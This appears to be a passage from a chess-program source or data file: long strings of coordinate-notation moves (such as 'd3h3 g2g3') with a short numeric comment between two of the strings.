d3h3 g2g3 a4a3 c4f1 f2g3 b2a1 a5b6 e7f7 d6e6 a7b6 f5g4 f3e3 c6d5 c7d7 e5f4 f7f6 e7d7 e8d7 h2g1 c2d3 b4b8 h5h4 e3e2 g4f3 d5e5 f4e4 a3b4 a3a2 d7e7 b5a4 a5b5 b3c2 a8a6 c2b2 g6h6 g7f6 f2f1 c4d4 f2e2 f7e7 c4d3 b5c5 f7b3 g8g7 f6e7 b8c7 c5a6 c8c7 c2f2 e3g2 g2h1 d2c2 a3b2 a4a8 d5d4 c6d6 d4d3 f2e3 a1a4 d4g4 c3d5 b7c6 g6c6 h5h6 b6c7 a7b7 g1h2 h2g3 d7d6 e4d3 h4h3 a1d1 c3d3 g1h3 f7e6 g2g1 f6g6 e3f2 e3f3 b5c4 b6a5 a6a1 e6f6 g1e2 f3f2 e6f5 c2c1 c3c2 d5h5 h6g5 a8h8 f5e4 h4g4 c2b1 b6b5 f4g3 e6a2 g5f4 e6e5 d5c4 e6g6 b1d2 d4c3 a4b4 b1b2 a1e5 b7a7 b3a2 e2e1 d3c2 c3h8 f3g3 e1f2 b2b1 a8b8 h2g2 c3e4 a5a4 f4g4 c6b5 c7b7 b4a3 e7e6 b7b6 e1e5 f3d5 d5c5 e4g3 g6f6 b1a2 e4e3 b2c2 h7g7 d6d5 d6e5 g4h3 b7c7 b3a4 f1d3 a8c6 b1d1 g1h1 f3g2 g3f3 c3b5 h3g2 c5c4 d7c6 b4d2 e3d4 c3c5 f4e3 b1a3 h6h2 b4a4 d3f5 b8b7 g7h6 g1f2 e4f4 g3g2 d2f4 g3h2 d8e7 f8h6 c3b2 f6g5 d1d3 a3a1 c1d3 c4b4 c5b5 f2g1 c2d2 d8c7 e5e4 h7b7 g4f4 g7h7 g5h5 a2b1 d5e7 g1g3 g5h4 h6f8 c2d1 b5b4 b6a6 c4b3 h5g4 e8c6 f1c4 c5d5 a1c1 c8e8 h3g5 f5g5 e4e2 g4h4 f5e5 f6d8 g6h8 b5c7 b3b8 h3f3 c5c1 c5e7 d2d8 e2d4 a8c8 h1f1 e8e6 b3c1 a4b3 c7c6 a7a3 a5c7 h7f5 d5g2 d4f4 g3f2 e7c8 b7b3 g7g5 g5f7 b7a6 b1c2 g6g4 f3g1 f3d4 b1f5 a7g7 h2f2 c7b6 a6a5 f6f5 e6d5 f7d8 e4f3 b8b4 f7g5 d2b2 g8e8 h5h7 f6e6 f6h8 c3b1 e8h8 h8e5 g7c7 g4e3 d8a8 a8a1 a5d8 a8d5 c6b6 c8a8 c1a3 d2b4 a3c1 d6f4 g2g4 d2e4 e1h1 e2c2 h4f4 f8a3 h8d4 e8g7 h6f4 g7g3 c8d7 h6g6 h2e2 f1f3 d8g8 d5b6 c8b6 e4c6 d8b6 a3a8 f8d6 f1h1 a1h1 g1e1 h3g1 f8f6 a6f6 f4d4 e3e1 d5e6 g6e7 c1e1 e7f5 d8b7 g4e2 a8h1 f8h8 d4e6 h7f6 f5h7 h7f7 f3d1 a1e1 c2e4 c8h3 c5c2 b8e8 d5c7 e6d8 d8f8 h1e1 f4h2 g5h7 e7e1 a4g4 a8e8 e1g1 c4e2 f3h2 f4g2 a8c7 d7e5 h1h2 e5f3 f6e8 d5f7 e7e4 d1h5 e1a1 b6d7 f3g5 d4h8 e4d5 a3a5 e4d6 a6h6 a3f8 a3c3 b8d8 e4a8 h2h6 e4f6 h3f1 e8g6 f3e5 g8e6 d8a5 a2d2 h7f8 h3f5 e5f7 b7f3 e5d7 e8a8 f3f7 h1a8 g8a2 b6a8 d4f6 a7d4 f7e8 c7a8 f8c8 h8h6 h5h8 f3f1 f2f5 c1f4 b8d6 d5f5 e4g6 h5f3 a1f1 h2g4 a3b5 a3c2 g6e6 c6f6 h5e2 a8g8 a2c2 e1b1 f8h7 f4h4 c8h8 d5a8 f8b8 g6e8 a8g2 e6e8 a8b6 e5c7 e8f6 c6e8 d4c6 d1b3 e7g7 e4c4 g7d4 e4f2 d7h3 d7f5 c1h6 a7e7 f2e4 b5d7 c1c2 f3f5 h8f8 c6e6 d7f7 b2b4 f8c5 e6c4 e2f4 d7f8 d3f2 b7c5 e5g7 a1d4 b3c4 d2f2 e3c3 f8g6 a3b1 b3a3 a7a6 h1c1 d3d6 d2f1 g1a7 g7e7 b8h8 e3b3 c2c5 b1f1 d6f5 a4a6 f1c1 h2b8 b4d6 c1c3 d8f6 a1c3 f7b7 f4f6 b3b7 h8g6 c2g2 d4e2 f7e5 a8f3 c3e5 e8b8 d2a2 h8c8 d2g5 e6g8 g5d2 c2a2 a8a4 c8c6 d8e6 g2e4 a8f8 a1h8 d4f2 e7c7 f8f4 c1c6 e7g5 c6c8 c5f8 f8g7 a7d7 g6g5 a8a3 f7d5 g7f5 h5f7 e4d2 h3f4 b8d7 f2d3 b1h1 h8b2 f1d1 g2a8 f5d4 f4g6 e7e5 a7c6 h1d1 a1g1 g8b8 d2f3 d5e3 b5e5 f3c3 a2h2 f5h4 e8e1 a3h3 f2h2 g5e3 d3b3 h1h6 c8c2 h8h1 d6g3 d8d5 c4d2 h6f7 d1f1 f8f7 f6e4 a5a7 b4d4 e7c6 h8d8 f5f3 c8e6 c8c4 f8d8 h3c8 c3f6 h5f5 a6a4 h4f3 f6f2 b3b4 d1h1 f1b1 e5e2 b8b5 f5g6 b6d4 d3b5 g8d5 d6a3 f5d3 g4e6 d2h2 d8d4 h7h8 h5e8 f3d2 a7f7 h7e4 a4c3 d6e4 e1c1 h8h3 d2a5 d8g5 d2c4 g6d3 f8b4 c4a2 b3e3 g6g3 c4d6 g3d6 g5e6 h3a3 h8h4 e8g8 g3f5 a6e2 c5a4 c4f4 f3a8 e2b2 e4c3 g8h6 d8h4 c5d7 e6c8 d5f4 e5e3 h1h7 d1g1 c6b4 f6d5 d4b3 d6b8 d3f3 c6a6 f5e3 e5a1 c5e3 h3f2 d3d1 d8h8 g6e4 c6d8 c8f5 a6b5 e7g8 b1b4 b5b7 e3f5 b7b4 g7d7 e4c2 f3h4 g8g1 c7a7 f6c3 a5c5 c2b4 g8d8 c3f3 c1g1 b5d6 e8d6 h1h5 c3e3 d7d5 d5f6 c1g5 f2d2 b1g6 f4c7 a3c4 a2a8 d6h6 f5h3 h4h2 d3d7 e8f7 d5f3 a6d3 e7c5 f4e6 c7e6 b2e2 h3d3 h8a1 e8a4 d4f3 a4a2 e1e6 d2e1 b6b8 a5b4 d6e8 c4c1 h7h6 e2c3 b3d3 g8b3 b3d5 c8e7 c2a4 d5d1 a4c4 d1d4 c4c2 d8d1 c8f8 d1g4 e2h2 a6c6 f5c5 d8d2 d4g7 g4h6 g5f6 f3h3 d6h2 e2b5 h6h8 a8a5 e2g2 a5a2 g4g7 e7a7 c7d5 e5d3 d3g6 f7c7 b2d2 b5b8 c7a5 c7e7 e5h2 d7f6 c3e2 d8b8 a1a6 a1a8 h1a1 d5b3 d1d5 h7b1 f4f2 f7d7 h4f6 e3g4 a2b4 d2b1 d4b2 c8g8 c6d4 c4c6 d7b7 f5f8 f6h7 d4a1 f1a1 b5b1 g2e2 g1d1 f1f5 g8g5 c6a8 e6e4 h8h5 g7e8 h8b8 e2e5 c3a4 c8c1 f4f1 d4e3 e4g4 g3d3 e6c5 d4c2 e2h5 b8g8 g3g1 h6c6 g4g6 a5d2 a4c6 b2g7 a1c2 g2c6 h5d1 e3d5 g3g8 b4a6 h1h8 e6g4 d3e5 d1b1 b1b3 e5b8 c3a5 e7h7 g5g3 d4b4 f7f5 h6c1 f3d3 f6h4 e3d3 g1g4 d3g3 h8f7 h1h4 c2d4 e5c4 f6h6 b7e4 c1c8 f5c2 d6d2 e3g3 d8c6 d1a4 c2e3 c3a1 c5a3 f5g7 b4b6 b5d3 b3b5 b7e7 e3h6 d6c8 a6b4 e4e1 d5d7 c4a6 f7d6 c7e8 g5d5 g8f6 g8e7 f5g3 d4d8 f1f4 e5c5 h8f6 g2d2 e5b2 d1e3 a5a1 a3d3 a4c5 a1g7 d1f2 f6d4 f4e2 e3c2 b1e1 h2d2 d8d3 h7d7 e4h4 b3a1 b3g8 e5e7 d5h1 e5c6 h1b1 a4b6 a6c4 b2f6 h1d5 d1d8 h6e6 c8a6 e5g3 c4c8 a5a8 a2a5 c6a4 e5g4 c6c4 c6h6 d7d2 e3f4 c7c5 e5h8 g5d8 e4a4 d5b5 a3e7 d6d8 e7b7 g3e5 d4d1 d7d4 c3c6 e5d4 e2g3 e3c5 c7e5 c5c3 g5e4 f4b4 b7h7 g3e1 d5d2 a4h4 c1a2 d7b5 b6f2 c6e4 g4f6 e5e1 b4e7 h2h7 a7g1 d4h4 d3b1 g2g8 d5d8 e3f1 e1e4 g5h6 b6a4 e2c1 b6b3 d1f3 e4e7 g1b1 h3e3 e6c6 b1b6 b8e5 e3c1 d5d3 b5e8 e5c3 e1e7 h5d5 c3g7 b4c2 g2g5 h7a7 c5c7 a4c2 f7h7 c7f4 c5b3 b2f2 a2a7 h7c7 c2e2 f7c4 b1d3 b8f4 f4c1 c7g7 c5a7 g8a8 b1h7 c3d1 a7a5 b2e5 e5e8 f3h1 b4g4 g2e1 d7g4 d4g1 h1e4 h1g1 a4e4 e1g3 e6b6 h2c2 c2c7 d6f6 e6d4 f5c8 c2e1 c2b3 a3d6 a4a1 b4f4 b6b4 h5e5 b4b7 a7e3 d6a6 b3b1 c4a4 f2a7 c6e7 a5e5 f7h6 e7b4 e7d5 h6d2 b2b5 b5d5 e8b5 b3c5 f2g4 h1b7 f1b5 c7h7 d2c3 h1f3 c2a3 g7b2 c5e4 c3a2 d1d7 a6a2 a2c4 b4b2 e1e8 b5a3 b4f8 b6b2 e7g6 a4f4 b7b1 f3b3 h3e6 g7e5 h2b2 d2b3 e7h4 h2f3 c7a6 d4b5 g1g8 g7h5 c2g6 g8g6 g8c4 f6f8 f5b1 f5d7 e2c4 f1a6 e8e4 c5f2 a2d5 d7b8 h4f5 c5e5 c4b2 e4b4 e6c7 h4h8 c6b8 e3c4 e8h5 g3e4 c3c1 c6e5 b2b6 e3g5 d6f7 f6g8 f8f5 f6f3 h2e5 h4e4 d7a7 f5a5 b8h2 c4e6 f8a8 g2g7 c2a1 a7c7 a2f7 d6d4 h4e1 g2c2 e8e3 f1f6 d1c1 d4d2 a4d4 f2b2 a7h7 g2f4 h3h8 f6f4 e3b6 h7d3 b6d8 f1d2 c4g8 g4f2 f5e7 h4c4 g3g5 d1d6 a2f2 c8g4 f5h5 g1d4 g2b7 e4g5 e6e3 e2e6 d1a1 b5c3 b3h3 e2e8 b1b5 b5a6 g6h4 h7e7 g1a1 f6d6 c6c5 f7a2 b2c1 f2h4 c1f1 h7h1 f2d1 b3e6 g5h3 c4e5 e6f8 d5a5 c3g3 d3a3 c5b7 b5b3 e2a2 d2d7 f4f8 f2f7 g5g4 b2d1 g6b1 h6f6 h6a6 c2c8 b8b3 a5g5 e7e2 c1c4 a5f5 f4h3 e7f6 f5d5 c3h3 c5f5 b3b6 b5a7 d6b7 b4d5 d7g7 g7c3 a6b7 a3g3 a6a3 e2g1 g4c4 e5g6 a8a2 c7c2 a6e6 e3d1 c3e1 a6g6 f7h5 b7g7 e3a3 g5g2 a1b3 a4d1 e3e6 f4d5 e3h3 g8g2 c4e3 f6b2 a5c6 g6f8 b7b5 a4e8 b3d2 e6h6 a1a7 f5e6 f4c4 a3c5 f5f7 g1g7 c6f3 b3g3 e2f1 b6c4 d6c6 a3e3 d4f5 b5f5 h2h8 b7d6 c5c8 e8d8 c8c3 d8d6 e3e5 e6g7 d3f1 b4c6 b3d4 g4h2 a8e4 h5h3 b8b6 f6a1 d5a2 g6d6 e4e5 c2c6 b3a5 a6f1 b5a5 f3b7 g7a7 g7e6 e1b4 h6h4 e6e2 f3f8 g3g7 d3c5 g4d1 d6b4 g3h5 a7a4 f6f1 d4e5 g2a2 b6f6 g3f1 b8f8 c4c7 f8f3 b5d4 c4b6 c1e2 b3f7 e1c3 f4b8 b4d3 f4h6 c5d4 h4d8 h1c6 e2e4 h5h1 d6g6 g4e4 a3a4 g6g1 f6g4 f8e6 f5b5 f2e1 f2h3 d4a7 d4d7 b1g1 e6d6 a6a8 b2g2 e1g2 g5b5 h5h2 h4h6 c4g4 b6e3 f2c5 b8c6 e2a6 e8e5 a4a7 f8d7 c7f7 g6b6 f3f6 a6d6 c6a5 g4e5 g4g8 d8f7 b3d1 f1g3 f4f7 f6c6 f3c6 h7h4 b8g3 b4a2 a6c7 d4b6 b2b8 g4d4 b6e6 a2c1 h6g4 d7c5 e3e8 a5b3 b2d4 e7a3 e1c2 h3d7 g1g5 g5g8 b1e4 b6g1 b1b7 h4f2 b7f7 f7f3 f4h5 e4e8 c6g6 e5g5 c6h1 f2c2 h4d4 g1c1 g3e3 a3a6 b2c4 f5d6 a7b5 h7h3 e1a5 e6b3 h5f4 b4b3 c7c3 c6c2 a7a2 h3b3 d4a4 b8b2 d6d1 f3e1 e4e6 a5d5 c7c4 h7h5 d3b4 c5a5 h8h2 h5b5 g3e2 b6c8 f1f7 h2a2 d2h6 g4c8 g8g4 f2d4 h4h7 d1c3 g2d5 e5f5 h2c7 g7g4 g5g7 a8a7 g1g6 e6g5 c6c3 e1f3 g2e3 e8e2 f7f4 f3h5 e4b1 f7f2 c5e6 e2e7 e5h5 c2f5 d6d3 g5e7 e4b7 e4h1 f4d3 f3f4 b5e2 e4d4 b4b1 a1f6 f2f8 g3b3 c7c1 h4g2 b8a6 c4a5 h1f2 a6c8 f2f6 d3c1 d3d5 d3d8 g4g1 c1b3 g4d7 d3e1 c5g5 a6c5 f2a2 b2h2 h6h1 c3a3 g6g8 d1b2 f8f1 c1a1 a8d8 d6b5 c4f7 d3a6 d4d6 c5d3 b7a5 e6h3 f1f8 g5e5 a5e1 g5c1 g5a5 c2h2 e6a6 h4e7 h2h5 g5c5 f7f1 d3f4 c6a7 c7h2 g3g6 f4a4 e3g1 c6g2 e7e3 d6c4 d7d1 b5b2 b7d5 f6d7 a3f3 h5f6 b2b7 a2g2 b3f3 c1c5 a5b7 b6b1 c8d6 a4d7 e3a7 g6c2 g6e5 d2g2 d2d5 c1c7 g6g2 a5a3 h4h1 b7h1 f1e3 e4g2 h5c5 e1h4 c3c8 b5h5 c7b5 b6d6 f7a7 b4e1 h4a4 h6d6 c4a3 d5c3 b6d5 f6a6 a2a1 h6g8 b7b2 h8c3 f5f2 f2h1 g6f4 c5g1 c3c7 h3h7 h2f1 e8c7 e6e1 g3c3 g1c5 b6g6 g1b6 a2g8 g8c8 h1g3 c7g3 e3e7 b8b1 g3b8 h5a5 d3b2 a4b2 a5h5 h4b4 h7h2 d6c5 b5f1 h6e3 g7g2 a6b8 c8b7 c8c5 g5f3 f6h5 d7h7 d4c4 g1e3 h7c2 f7h8 g4a4 d3h7 c1h1 a3a7 g6a6 h5g3 a7a1 b6h6 b4e4 b2a4 h3c3 g3c7 h2d6 d5g8 g7b7 f8f2 c6c1 d5g5 e4h7 b5g5 d2d6 h4g6 g7a1 f1h2 d5b4 d6f8 e1d3 h6f5 g2g6 e1e3 e5b5 c8a7 e5a5 g8g3 g2b2 a2a6 g3a3 g4b4 f2b6 h6b6 f6b6 d7a4 c4h4 g2h4 g5g1 h3h6 h5g7 b4h4 c2h7 a7c8 d7d3 ", /* 1.3935257 147 90915c9b */ "b1d3 d2b3 e2e3 d2b3 d1h5 d1f3 g1h3 h3g5 e2g4 h5f7 f3f7 b1b2 f1f2 d1d7 f2f6 f2f6 b2c1 b1b3 g1f2 d2b4 b2b3 a2b3 f1f6 h1f2 g1f2 b2h8 d2e3 c1b3 f1d3 f1e3 f2d3 e2e3 h1f2 h1f2 c1e3 g2g4 d1f2 a2a3 d1d3 c1e3 a1h8 b1b3 a2c3 c2b3 e1d3 e1d3 d1d3 d1c3 a2b3 f1f6 b2b3 e2g4 h1f2 d1b3 h1f2 g1e3 a1b3 c2b3 h1f2 d1b3 g2g4 g1g4 g1a7 d2e3 b1b3 c2e3 f2d3 d2a5 d1e3 f2f6 f1f2 d1e3 c1b3 d2e3 c2e3 h2h8 g4f6 d2d3 b2d3 c1b3 f6h8 c2e3 b2b3 g2e3 a1a5 f1f6 c1e3 f2e3 h2g4 g2f2 a1a5 e1a5 e2e3 h1h8 g2g4 d1d3 a1a7 c1d3 e2g4 h2h8 g1g4 f2g4 d1g4 d1d3 f1d3 c1b3 f3f7 h2e2 a2b3 f2f6 b2h8 d1f2 f2f6 f1e2 g4d7 g1e3 g1a7 a3a7 d2e3 d1b3 d1d3 g2e3 h1c1 a2d5 b2a3 b4b5 d1c3 c1b2 d2d7 d1b3 b5d7 e5d7 c1b3 d1b3 b3b5 b1b3 a1c3 b1b2 h1h3 h2e5 a2a3 c2b4 f4f6 d1d7 h2f4 d2b4 b4d5 d1d7 g2d5 b1a3 f1h3 e1e5 c2a3 f1b5 b1b3 g1h3 a2d5 a2b4 c2a3 e2c3 c1f4 e1e5 b2a3 d1b3 a2d5 g2d5 a3b5 a1e5 g2d5 d5d7 e1f2 h2h5 a2a3 b2e5 a2b3 b1b4 h3d7 h2h5 a1f6 e1b4 a1a3 e2e5 d2f4 f2f4 a2a3 f1f2 c1c3 a1c3 b1c3 a1c3 c2b4 a1e5 g2h3 d1d3 e1e3 f2h3 e1c3 c1b2 c2a3 b3d5 g5g6 a4a5 a5a6 f4g5 g6h5 h4h5 h5h6 a6a7 g3g4 g6g7 h6h7 a3a4 h2h3 c5b6 b8a8 g7g8 a7a8 d2c3 e1d1 h7h8 h3h4 a2a3 h5g5 b3b4 g5f5 f5f4 b2b3 h1g1 c3b4 e1e2 c5c6 c4c5 c3c4 g4g5 f1e2 b7b8 b6b7 d1c1 f5g6 d4c5 d2e3 g8h8 a1a2 d1d2 h8e8 d1e1 h1h2 f7f8 b4b5 d7d8 h5g6 b4a5 c1d2 e2d2 d2e2 g4h5 e3d4 c1d1 b5b6 g8f8 b1c3 f5f6 g7f8 f1e1 d4e5 h8g7 a8a7 e4d5 c6c7 e4f5 g6h7 e1d2 e7e8 e6e7 c7c8 f2g2 e2f2 f4f5 h2h1 e7d8 e5e6 d6e7 h7g8 h5e2 g2f3 c1b2 g8h7 e8d8 d2c1 f6f7 e6d7 e4e5 f3f4 c5b4 b4c5 h8g8 f7g8 e2e3 f8e8 h6d6 a1b1 f8g8 c3d4 d5c6 d2d3 e2d1 e2f3 f2f3 b2c3 e3e4 e7f8 f3g4 b7c8 c7b8 e3d3 c2c3 c4b5 a1a3 g7h8 d8e8 f4e5 g1h1 g2g3 h8h7 c8b8 d5d6 b7a8 d2d1 e2d3 g5h6 g6f7 f7e8 d5e6 c6d7 g1g2 d1c2 e1f1 d7e8 h2h4 e8f7 d6d7 d3e3 g3f4 e5d6 a2a1 g3h4 c2d2 a7b8 e8f8 d1e2 c4d5 c6b7 c8d8 h6h5 e3d2 b1a1 b8a7 h4g5 a8b7 c5d6 c7d8 e8e7 d3c4 g8f7 c2c4 h6g7 g2f1 g1f3 e5d4 h1h3 e3f4 f3e4 c8d7 h3h2 d8c7 g7f7 a2b2 b6c5 g2h2 f1g2 c4c3 d3d2 a1b2 d3e2 f6g7 e7d6 d8d7 c1e3 b6c6 a2a4 f6e5 a6b6 a2b3 f3e2 d7c8 b6a7 e4d4 g5f6 a8b8 e2f1 d6c5 b2a3 e2e1 b8c8 f8f7 d3d4 d6c7 g2f2 b3a3 b1c1 b4b3 b4c3 f1f2 c1b1 d3e4 d7e6 f7g7 d8e7 d2d4 d5e4 d7c7 b3a4 b5a6 e5f6 d4e4 g4f5 g3h3 f1g1 a3b3 e6f7 e2e4 h3g3 f8g7 h3g4 c3d2 a4b5 b2a2 e5d5 g1f1 c1c2 h4g3 d2c2 d4e3 b5c6 b3c4 h1g2 h7g6 f2f4 g6f5 g7g6 c7d6 f4f3 f5e6 f6f5 e1f2 d2e1 f2g3 b2a1 a5b6 e7f7 d6e6 a7b6 f5g4 f3e3 c6d5 c7d7 e5f4 f7f6 e7d7 e8d7 h2g1 c2d3 c2b3 h5h4 e3e2 g4f3 d5e5 f4e4 a3b4 a3a2 d7e7 c5d4 a5b5 b3c2 a8a6 c2b2 g6h6 g7f6 f2f1 c4d4 f2e2 f7e7 f3d1 b5c5 c8b7 g8g7 f6e7 b8c7 f2e1 c8c7 e7f6 h8a8 g2h1 f7g6 a3b2 h6g6 d5d4 c6d6 d4d3 f2e3 b2b4 d1f3 c3d5 b7c6 b5a5 g4g3 b6c7 a7b7 g1h2 h2g3 d7d6 e4d3 h4h3 a1d1 c3d3 g1h3 f7e6 g2g1 f6g6 e3f2 e3f3 b5c4 b6a5 d4c4 a6b7 g1e2 f3f2 e6f5 c2c1 c3c2 h7h6 h6g5 a8h8 g3g2 h4g4 c2b1 b6b5 f4g3 e6d6 g5f4 e6e5 d5c4 a7a6 b1d2 d4c3 a4b4 b1b2 b2c1 g5g4 b3a2 g2h3 d3c2 d1b1 f3g3 a4a3 b2b1 b3b2 h2g2 c3e4 a5a4 f4g4 c6b5 c7b7 b4a3 e7e6 b7b6 e6f6 f3d5 d5c5 g6g5 g6f6 b1a2 e4e3 b2c2 h7g7 d6d5 d6e5 g4h3 c8h3 b3c3 f1d3 a8c6 b1d1 d3c3 f3g2 g3f3 c3b5 h3g2 c5c4 d7c6 b4d2 a5b4 f3e5 f4e3 b1a3 b5a4 b4a4 d3f5 b8b7 g7h6 g1f2 e4f4 f5e4 d2f4 g3h2 b4c4 f8h6 c3b2 f6g5 d1d3 a3a1 c6c5 c4b4 c5b5 f2g1 h3h1 d4d5 e5e4 h7b7 g4f4 g7h7 g5h5 a2b1 d5e7 g1g3 g5h4 h6f8 c2d1 b5b4 b6a6 c4b3 h5g4 c3b3 f1c4 c5d5 a1c1 c8e8 h3g5 f5g5 e4e2 g4h4 f5e5 f6d8 e5f5 b5c7 b7a7 h3f3 g5e7 c5e7 d8f6 e2d4 a8c8 h1f1 e8e6 f3g5 a4b3 c7c6 f3h5 a5c7 h7f5 a1a7 d4f4 g3f2 e7c8 b7b3 g7g5 g5f7 b7a6 b1c2 d6c6 f3g1 f3d4 d1a1 a7c5 h2f2 c7b6 a6a5 e8c8 e6d5 f7d8 e4f3 b8b4 g3e3 d1f1 g8e8 h5h7 f6e6 f6h8 c3b1 e8h8 h8e5 e3g5 h8f8 d8a8 a8a1 a5d8 f5d7 c6b6 c8a8 c1a3 a6b5 a3c1 d6f4 g2g4 d2e4 e1h1 e2c2 h4f4 f8a3 h8d4 e8g7 h6f4 g7g3 f4d6 a8d5 h2e2 f1f3 d8g8 a7g7 c8b6 e4c6 d8b6 e3c5 f8d6 f1h1 a1h1 g1e1 h3g1 f8f6 b3b8 f4d4 e3e1 f4d2 g6e7 c1e1 a1a8 d8b7 g4e2 a8h1 f8h8 d4e6 c1a1 f5h7 h7f7 c4d3 a1e1 c2e4 b7c7 e2c4 b8e8 g8g6 e6d8 d8f8 h1e1 f4h2 g5h7 d3d5 f4h6 a8e8 e1g1 c4e2 f3h2 g5d8 a8c7 d1g4 e5h8 e5f3 f6e8 d5f7 f7h8 d1h5 e1a1 b6d7 e7b4 h1h7 e8c6 a3a5 e4d6 a6h6 a3f8 a3c3 b8d8 d6f8 h2f4 e4f6 h3f1 e8g6 c3c5 g8e6 d8a5 a2d2 h7f8 h3f5 h8f7 c7e8 e5d7 e8a8 f3f7 h1a8 g8a2 b6a8 d4f6 a4c4 e1e4 c7a8 f8c8 h8h6 h5h8 f3f1 f1f4 c1f4 b8d6 d5f5 e4g6 h5f3 d2f1 h2g4 a3b5 a3c2 g6e6 c6f6 f8e7 a8g8 a2c2 e1b1 f8h7 f4h4 c8h8 h8a1 f8b8 g6e8 a8g2 e6e8 a8b6 e5c7 e8f6 c6e8 d4c6 d1b3 e7g7 e4c4 g7d4 e2e5 d7h3 d7f5 c1h6 a7e7 f2e4 h3d3 f1h3 f3f5 c6a8 c6e6 d7f7 a1a4 f8c5 e6c4 e2f4 d7f8 e4g2 b7c5 e5g7 a1d4 h3h5 d2f2 e3c3 f8g6 a3b1 b7d7 e6g6 h1c1 d3d6 a1f1 g1a7 e8h5 b8h8 e3b3 h1e4 b1f1 d6f5 a4a6 f1c1 h2b8 b4d6 c1c3 a6b4 a1c3 f7b7 f4f6 b3b7 h8g6 g3g5 d4e2 f7e5 a8f3 c3e5 e8b8 d2a2 h8c8 d2g5 e6g8 d4d6 c2a2 a8a4 c8c6 d8e6 g2e4 a8f8 a1h8 d4f2 f8d8 b8g3 b4a2 e7g5 d7b7 c5f8 d6d2 a7d7 e4g3 a8a3 f7d5 g7f5 h5f7 e4d2 h3f4 f3d2 d4b6 b1h1 a3c4 f1d1 g2a8 f5d4 f4g6 e7e5 b2d4 h1d1 b4b7 g8b8 d2f3 d5e3 c4a2 f3c3 a2h2 f5h4 e8e1 a3h3 f2h2 g5e3 d3b3 d6e4 c8c2 h8h1 e3h3 d5d8 c4d2 h6f7 g8g1 a5c3 f6e4 c7a7 b4d4 e7c6 h8d8 f5f3 c8e6 c8c4 e7c7 c8c5 c3f6 h5f5 a6a4 h4f3 g2e2 a2e6 d1h1 f1b1 e5e2 b8b5 g4g2 b6d4 d3b5 g8d5 c1c8 c4c1 g4e6 d2h2 d8d4 g5d2 h5e8 c7a5 a7f7 h7e4 a4c3 h1h6 e1c1 h8h3 d2a5 d8g5 d2c4 g6d3 f8b4 a8d8 b3e3 g6g3 c4d6 g3d6 f4f1 h3a3 h8h4 e8g8 g3f5 a6e2 c5a4 c4f4 f3a8 e2b2 e4c3 e1e3 d8h4 c5d7 e6c8 d5f4 e5e3 d4h8 d1g1 d8f7 f6d5 g6c2 d6b8 d3f3 c6a6 f5e3 e5a1 c5e3 h3f2 d3d1 d8h8 g6e4 c6d8 c8f5 d2b4 e7g8 b1b4 f1e3 e4h4 b7b4 g7d7 e4c2 f3h4 d2b2 a5a7 f2d4 a5c5 c2b4 e6e4 c3f3 c1g1 b5d6 e8d6 h1h5 c3e3 d7d5 d5f6 c1g5 f2d2 b1g6 f4c7 h8b2 g8c8 d6h6 f5h3 h4h2 d3d7 d5g5 d5f3 a6d3 e7c5 f4e6 c7e6 e3g4 b5d7 d5a8 e8a4 d4f3 a4a2 e1e6 c4f1 b6b8 a2e2 d6e8 f7d6 d5h5 e2c3 b3d3 g8b3 b3d5 c8e7 c2a4 d5d1 a7d4 d1d4 c4c2 d8d1 c8f8 d7e5 e2h2 a6c6 f5c5 d8d2 d4g7 g4h6 f3d3 f3h3 c4g8 e2b5 h6h8 a8a5 e2g2 f5d5 f7f5 e7a7 c7d5 e5d3 d3g6 f7c7 b2d2 b5b8 f6c6 c7e7 e5h2 d7f6 c3e2 d8b8 a1a6 e7f5 h1a1 d5b3 d1d5 h7b1 f4f2 f7d7 h4f6 b2e2 a2b4 d2b1 d4b2 c8g8 c6d4 c4c6 c6c8 f5f8 d8d6 d4a1 f1a1 b5b1 d7g7 g1d1 e2g1 g8g5 g4e3 g8d8 h8h5 g7e8 h8b8 e4f2 c3a4 c8c1 g5e6 h8f6 e4g4 g3d3 e6c5 d4c2 d5d2 b8g8 g3g1 h6c6 g4g6 a5d2 a4c6 b2g7 a1c2 g2c6 h5d1 e3d5 g3g8 b4a6 h1h8 e6g4 d3e5 c3h8 b1b3 e5b8 c3a5 e7h7 g5g3 d4b4 g4g7 h6c1 e2g4 f6h4 a1a5 g1g4 d3g3 e5f7 h1h4 c2d4 e5c4 f6h6 b7e4 d2h6 f5c2 e4c5 e3g3 d8c6 d1a4 c2e3 c3a1 c5a3 f5g7 b4b6 b5d3 b3b5 b7e7 e3h6 d6c8 d6g3 e4e1 d5d7 c4a6 f5d3 b4b8 g5d5 g8f6 g8e7 f1b5 d4d8 f2f5 b6b2 h5h1 a5d5 e5b2 d1e3 a5a1 a3d3 e4a4 a1g7 d1f2 f6d4 f4e2 e3c2 b1e1 h2d2 d8d3 h7d7 e3f5 b3a1 b3g8 e5e7 d5h1 e5c6 h1b1 a4b6 a6c4 b2f6 g1e3 d1d8 h6e6 c8a6 c6e4 c4c8 a5a8 a2a5 c6a4 e5g4 f3a3 b8b6 d7d2 d5b6 c7c5 h7g5 f4g2 a4c5 d5b5 a3e7 d6d8 e7b7 g3e5 d4d1 d7d4 d4d7 d5b7 e2g3 a3a8 c7e5 c5c3 g5e4 f4b4 b7h7 g3e1 e2h5 d4d2 c1a2 d7b5 b6f2 e5g3 g4f6 e5e1 b4e7 h2h7 a7g1 d4h4 d3b1 h5e5 d8d5 e3f1 b5f5 f5f1 b6a4 e2c1 b6b3 d4g4 e4e7 g1b1 h3e3 e6c6 g4d4 b8e5 e3c1 d5d3 b5e8 e5c3 e1e7 h5d5 c3g7 b4c2 g2g5 g5b5 c5c7 a4c2 f7h7 c7f4 c5b3 b2f2 a2a7 h7c7 c2e2 f7c4 b1d3 a3c5 f4c1 c7g7 c5a7 g8a8 b1h7 c3d1 a7a5 b2e5 c4e5 f3h1 b4g4 g2e1 d7g4 d4g1 c2c5 e6f4 a4e4 e1g3 e6b6 h2c2 c2c7 d6f6 e6d4 f5c8 c2e1 b7f3 a3d6 a4a1 b4f4 e7e2 g2g8 a1g1 a7e3 d6a6 b3b1 c3c8 f2a7 c6e7 a5e5 g4d1 b3c1 e7d5 h6d2 b2b5 b5d5 e8b5 b3c5 f2g4 h1b7 f5g3 c7h7 c4e4 h1f3 a3a6 g7b2 c5e4 c3a2 d1d7 h7h4 a2c4 b4b2 e1e8 b5a3 b4f8 e5c5 e7g6 a4f4 b7b1 f5h6 h3e6 g7e5 h2b2 d2b3 c1f1 a6c8 c7a6 d4b5 a7a3 g7h5 c2g6 d5c7 g8c4 f6f8 f5b1 a4a8 c5c2 f1a6 e8e4 c5f2 a2d5 d7b8 h4f5 c5e5 c4b2 e4b4 